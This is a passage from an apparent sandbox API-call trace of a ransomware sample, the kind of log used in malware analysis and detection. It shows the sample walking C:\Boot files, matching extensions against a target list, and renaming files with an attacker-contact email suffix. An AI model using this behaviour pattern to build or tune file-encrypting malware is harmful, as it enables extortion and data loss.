Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x48c [0073.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3890050 [0073.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x38a0058 [0073.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602440 [0073.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x6028b0 [0073.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602458 [0073.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3a90020 [0073.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602470 [0073.991] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602470, Size=0x20) returned 0x6096d8 [0073.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602470 [0073.991] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602470, Size=0x20) returned 0x609700 [0073.991] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.991] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.991] Wow64DisableWow64FsRedirection (in: OldValue=0x304ff58 | out: OldValue=0x304ff58*=0x0) returned 1 [0073.991] lstrlenW (lpString="kernel32.dll") returned 12 [0073.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.992] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.992] Sleep (dwMilliseconds=0x64) [0074.267] lstrcmpiW (lpString1=".ttf", lpString2=".data") returned 1 [0074.267] lstrlenW (lpString="kor_boot.ttf") returned 12 [0074.267] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.924] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=2371360) returned 1 [0074.924] CloseHandle (hObject=0x194) returned 1 [0074.925] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0074.925] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.925] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0074.925] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.925] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.925] lstrlenW (lpString=".doc") returned 4 [0074.925] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0074.925] lstrlenW (lpString=".docx") returned 5 [0074.926] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0074.926] lstrlenW (lpString=".pdf") returned 4 [0074.926] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0074.926] lstrlenW (lpString=".xls") returned 4 [0074.926] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0074.926] lstrlenW (lpString=".xlsx") returned 5 [0074.926] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0074.926] lstrlenW (lpString=".ppt") returned 4 [0074.926] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0074.926] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.926] lstrlenW (lpString=".zip") returned 4 [0074.926] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0074.926] lstrlenW (lpString=".rar") returned 4 [0074.926] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0074.926] lstrlenW (lpString=".bz2") returned 4 [0074.927] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0074.927] lstrlenW (lpString=".7z") returned 3 [0074.927] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0074.927] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.927] lstrlenW (lpString=".dbf") returned 4 [0074.927] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0074.927] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.927] lstrlenW (lpString=".1cd") returned 4 [0074.927] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0074.927] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.927] lstrlenW (lpString=".jpg") returned 4 [0074.927] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0074.927] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.927] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.928] lstrlenW (lpString=".doc") returned 4 [0074.928] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0074.928] lstrlenW (lpString=".docx") returned 5 [0074.928] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0074.928] lstrlenW (lpString=".pdf") returned 4 [0074.928] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0074.928] lstrlenW (lpString=".xls") returned 4 [0074.928] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0074.928] lstrlenW (lpString=".xlsx") returned 5 [0074.928] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0074.928] lstrlenW (lpString=".ppt") returned 4 [0074.928] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0074.928] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.928] lstrlenW (lpString=".zip") returned 4 [0074.929] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0074.929] lstrlenW (lpString=".rar") returned 4 [0074.929] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0074.929] lstrlenW (lpString=".bz2") returned 4 [0074.929] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0074.929] lstrlenW (lpString=".7z") returned 3 [0074.929] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0074.929] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.929] lstrlenW (lpString=".dbf") returned 4 [0074.929] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0074.929] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.929] lstrlenW (lpString=".1cd") returned 4 [0074.929] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0074.929] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0074.929] lstrlenW (lpString=".jpg") returned 4 [0074.930] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0074.930] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.930] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.930] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.930] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=93248) returned 1 [0074.931] CloseHandle (hObject=0x194) returned 1 [0074.931] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0074.931] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.931] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.931] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.931] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.931] lstrlenW (lpString=".doc") returned 4 [0074.931] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.931] lstrlenW (lpString=".docx") returned 5 [0074.931] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.931] lstrlenW (lpString=".pdf") returned 4 [0074.931] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.931] lstrlenW (lpString=".xls") returned 4 [0074.931] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.932] lstrlenW (lpString=".xlsx") returned 5 [0074.932] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.932] lstrlenW (lpString=".ppt") returned 4 [0074.932] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.932] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.932] lstrlenW (lpString=".zip") returned 4 [0074.932] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.932] lstrlenW (lpString=".rar") returned 4 [0074.932] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.932] lstrlenW (lpString=".bz2") returned 4 [0074.932] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.932] lstrlenW (lpString=".7z") returned 3 [0074.932] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.932] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.932] lstrlenW (lpString=".dbf") returned 4 [0074.933] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.933] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.933] lstrlenW (lpString=".1cd") returned 4 [0074.933] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.933] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.933] lstrlenW (lpString=".jpg") returned 4 [0074.933] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.933] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.933] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.933] lstrlenW (lpString=".doc") returned 4 [0074.933] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.933] lstrlenW (lpString=".docx") returned 5 [0074.933] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.933] lstrlenW (lpString=".pdf") returned 4 [0074.933] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.933] lstrlenW (lpString=".xls") returned 4 [0074.934] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.934] lstrlenW (lpString=".xlsx") returned 5 [0074.934] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.934] lstrlenW (lpString=".ppt") returned 4 [0074.934] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.934] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.934] lstrlenW (lpString=".zip") returned 4 [0074.934] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.934] lstrlenW (lpString=".rar") returned 4 [0074.934] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.934] lstrlenW (lpString=".bz2") returned 4 [0074.934] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.934] lstrlenW (lpString=".7z") returned 3 [0074.934] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.934] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.934] lstrlenW (lpString=".dbf") returned 4 [0074.934] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.934] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.935] lstrlenW (lpString=".1cd") returned 4 [0074.935] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.935] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0074.935] lstrlenW (lpString=".jpg") returned 4 [0074.935] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.935] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.935] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.935] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.935] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=90688) returned 1 [0074.936] CloseHandle (hObject=0x194) returned 1 [0074.937] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0074.937] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.937] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.938] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.938] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.938] lstrlenW (lpString=".doc") returned 4 [0074.938] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.938] lstrlenW (lpString=".docx") returned 5 [0074.938] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.938] lstrlenW (lpString=".pdf") returned 4 [0074.938] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.938] lstrlenW (lpString=".xls") returned 4 [0074.938] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.938] lstrlenW (lpString=".xlsx") returned 5 [0074.938] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.938] lstrlenW (lpString=".ppt") returned 4 [0074.938] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.938] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.939] lstrlenW (lpString=".zip") returned 4 [0074.939] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.939] lstrlenW (lpString=".rar") returned 4 [0074.939] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.939] lstrlenW (lpString=".bz2") returned 4 [0074.939] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.939] lstrlenW (lpString=".7z") returned 3 [0074.939] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.939] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.939] lstrlenW (lpString=".dbf") returned 4 [0074.939] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.939] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.939] lstrlenW (lpString=".1cd") returned 4 [0074.940] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.940] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.940] lstrlenW (lpString=".jpg") returned 4 [0074.940] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.940] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.940] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.940] lstrlenW (lpString=".doc") returned 4 [0074.940] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.940] lstrlenW (lpString=".docx") returned 5 [0074.940] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.940] lstrlenW (lpString=".pdf") returned 4 [0074.940] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.940] lstrlenW (lpString=".xls") returned 4 [0074.940] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.940] lstrlenW (lpString=".xlsx") returned 5 [0074.940] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.941] lstrlenW (lpString=".ppt") returned 4 [0074.941] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.941] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.941] lstrlenW (lpString=".zip") returned 4 [0074.941] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.941] lstrlenW (lpString=".rar") returned 4 [0074.941] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.941] lstrlenW (lpString=".bz2") returned 4 [0074.941] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.941] lstrlenW (lpString=".7z") returned 3 [0074.941] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.941] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.941] lstrlenW (lpString=".dbf") returned 4 [0074.941] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.941] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.941] lstrlenW (lpString=".1cd") returned 4 [0074.941] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.941] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0074.941] lstrlenW (lpString=".jpg") returned 4 [0074.941] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.942] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.942] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.942] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.942] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=90704) returned 1 [0074.942] CloseHandle (hObject=0x194) returned 1 [0074.942] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0074.942] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.942] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.943] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.943] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.943] lstrlenW (lpString=".doc") returned 4 [0074.943] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.943] lstrlenW (lpString=".docx") returned 5 [0074.943] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.943] lstrlenW (lpString=".pdf") returned 4 [0074.943] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.943] lstrlenW (lpString=".xls") returned 4 [0074.943] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.943] lstrlenW (lpString=".xlsx") returned 5 [0074.943] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.943] lstrlenW (lpString=".ppt") returned 4 [0074.944] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.944] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.944] lstrlenW (lpString=".zip") returned 4 [0074.944] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.944] lstrlenW (lpString=".rar") returned 4 [0074.944] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.944] lstrlenW (lpString=".bz2") returned 4 [0074.944] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.944] lstrlenW (lpString=".7z") returned 3 [0074.944] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.944] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.944] lstrlenW (lpString=".dbf") returned 4 [0074.944] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.944] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.944] lstrlenW (lpString=".1cd") returned 4 [0074.945] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.945] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.945] lstrlenW (lpString=".jpg") returned 4 [0074.945] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.945] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.945] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.945] lstrlenW (lpString=".doc") returned 4 [0074.945] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.945] lstrlenW (lpString=".docx") returned 5 [0074.945] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.945] lstrlenW (lpString=".pdf") returned 4 [0074.945] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.945] lstrlenW (lpString=".xls") returned 4 [0074.946] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.946] lstrlenW (lpString=".xlsx") returned 5 [0074.946] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.946] lstrlenW (lpString=".ppt") returned 4 [0074.946] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.946] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.946] lstrlenW (lpString=".zip") returned 4 [0074.946] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.946] lstrlenW (lpString=".rar") returned 4 [0074.946] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.946] lstrlenW (lpString=".bz2") returned 4 [0074.946] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.946] lstrlenW (lpString=".7z") returned 3 [0074.946] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.946] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.947] lstrlenW (lpString=".dbf") returned 4 [0074.947] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.947] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.947] lstrlenW (lpString=".1cd") returned 4 [0074.947] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.947] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0074.947] lstrlenW (lpString=".jpg") returned 4 [0074.947] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.947] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.947] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.947] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.948] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=76352) returned 1 [0074.948] CloseHandle (hObject=0x194) returned 1 [0074.948] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0074.948] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.948] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.948] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.949] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.949] lstrlenW (lpString=".doc") returned 4 [0074.949] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.949] lstrlenW (lpString=".docx") returned 5 [0074.949] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.949] lstrlenW (lpString=".pdf") returned 4 [0074.949] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.949] lstrlenW (lpString=".xls") returned 4 [0074.949] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.949] lstrlenW (lpString=".xlsx") returned 5 [0074.949] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.950] lstrlenW (lpString=".ppt") returned 4 [0074.950] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.950] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.950] lstrlenW (lpString=".zip") returned 4 [0074.950] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.950] lstrlenW (lpString=".rar") returned 4 [0074.950] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.950] lstrlenW (lpString=".bz2") returned 4 [0074.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.950] lstrlenW (lpString=".7z") returned 3 [0074.950] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.950] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.950] lstrlenW (lpString=".dbf") returned 4 [0074.951] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.951] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.951] 